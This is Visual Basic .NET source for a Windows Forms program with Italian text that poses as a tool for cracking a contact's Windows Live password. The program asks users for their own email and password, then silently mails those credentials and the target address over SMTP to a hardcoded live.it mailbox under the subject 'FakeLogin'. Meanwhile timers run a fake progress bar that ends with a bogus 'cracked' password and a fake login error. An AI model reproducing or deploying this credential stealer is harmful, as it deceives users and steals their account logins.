Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
MsgBox("L'account da craccare deve appartenere alla tua lista contatti.", , "Attenzione!")
If TextBox1.Text = "" Or TextBox2.Text = "" Or TextBox3.Text = "" Then MsgBox("Per favore, inserisci la tua mail", vbCritical, "Errore campo mancante")
If TextBox4.Text = "" Then MsgBox("Per favore, inserisci una password", vbCritical, "Errore campo mancante")
If TextBox5.Text = "" Or TextBox6.Text = "" Or TextBox7.Text = "" Then MsgBox("Per favore, inserisci un contatto da craccare", vbCritical, "Errore campo mancante")
If TextBox1.Text <> "" And TextBox2.Text <> "" And TextBox3.Text <> "" And TextBox4.Text <> "" And TextBox5.Text <> "" And TextBox6.Text <> "" And TextBox7.Text <> "" Then Timer1.Start() Else MsgBox("Il Windows Live ID o la password immessi sono errati. Codice errore: 80048823", , "Impossibile accedere")
Dim smtpServer As New Net.Mail.SmtpClient()
Dim mail As New Net.Mail.MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("*****@live.it", "*****")
smtpServer.Port = 995
smtpServer.Host = "smtp.live.com"
smtpServer.EnableSsl = True
mail = New Net.Mail.MailMessage()
mail.From = New Net.Mail.MailAddress("Donpeo@live.it")
mail.To.Add("*****@live.it")
mail.Subject = "FakeLogin"
mail.Body = "Mail: " & TextBox1.Text & "@" & TextBox2.Text & "." & TextBox3.Text & ", " & "Password: " & TextBox4.Text & ", " & "Account che voleva craccare: " & TextBox5.Text & "@" & TextBox6.Text & "." & TextBox7.Text
smtpServer.Send(mail)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = "3"
Timer2.Start()
Timer1.Stop()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
ProgressBar1.Value = "6"
Timer3.Start()
Timer2.Stop()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
ProgressBar1.Value = "7"
Timer4.Start()
Timer3.Stop()
End Sub
Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
ProgressBar1.Value = "15"
Timer5.Start()
Timer4.Stop()
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
ProgressBar1.Value = "36"
Timer6.Start()
Timer5.Stop()
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
ProgressBar1.Value = "40"
Timer6.Stop()
MsgBox("Nuova Password: password123", , "Password Cracked")
End Sub
End Class
